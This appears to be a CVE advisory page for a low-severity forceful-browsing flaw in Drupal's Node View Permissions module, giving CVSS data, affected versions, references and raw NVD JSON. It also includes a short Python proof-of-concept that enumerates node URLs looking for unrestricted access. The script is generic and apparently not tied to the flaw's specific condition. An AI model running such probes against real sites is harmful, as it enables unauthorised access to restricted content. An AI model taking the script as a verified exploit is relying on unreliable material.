CVE-2026-8491

Description

Improper Check for Unusual or Exceptional Conditions vulnerability in Drupal Node View Permissions allows Forceful Browsing. This issue affects Node View Permissions: from 0.0.0 before 1.7.0, from 2.0.0 before 2.0.1.

CVSS Details

CVSS Score

3.7

Severity

LOW

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Node View Permissions < 1.7.0

2.0.0 <= Node View Permissions < 2.0.1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# POC for CVE-2026-8491: Forceful Browsing in Drupal Node View Permissions
# This script attempts to access restricted nodes directly.

target_url = "http://example.com/node/{}"
headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36"
}

def check_node(node_id):
    try:
        response = requests.get(target_url.format(node_id), headers=headers, timeout=5)
        if response.status_code == 200 and "Access denied" not in response.text:
            print(f"[+] Potential access found for Node ID: {node_id}")
            print(f"[+] URL: {response.url}")
        else:
            print(f"[-] Node ID {node_id} is restricted or not found.")
    except Exception as e:
        print(f"Error connecting to target: {e}")

if __name__ == "__main__":
    # Example range to test
    for i in range(1, 11):
        check_node(i)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-8491
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-8491
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-8491/
[4] VulDB https://vuldb.com/cve/CVE-2026-8491
[5] https://www.drupal.org/sa-contrib-2026-034

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-8491", "sourceIdentifier": "[email protected]", "published": "2026-05-19T23:16:58.740", "lastModified": "2026-05-20T18:16:27.980", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Check for Unusual or Exceptional Conditions vulnerability in Drupal Node View Permissions allows Forceful Browsing.\n\nThis issue affects Node View Permissions: from 0.0.0 before 1.7.0, from 2.0.0 before 2.0.1."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 3.7, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.2, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-754"}]}], "references": [{"url": "https://www.drupal.org/sa-contrib-2026-034", "source": "[email protected]"}]}}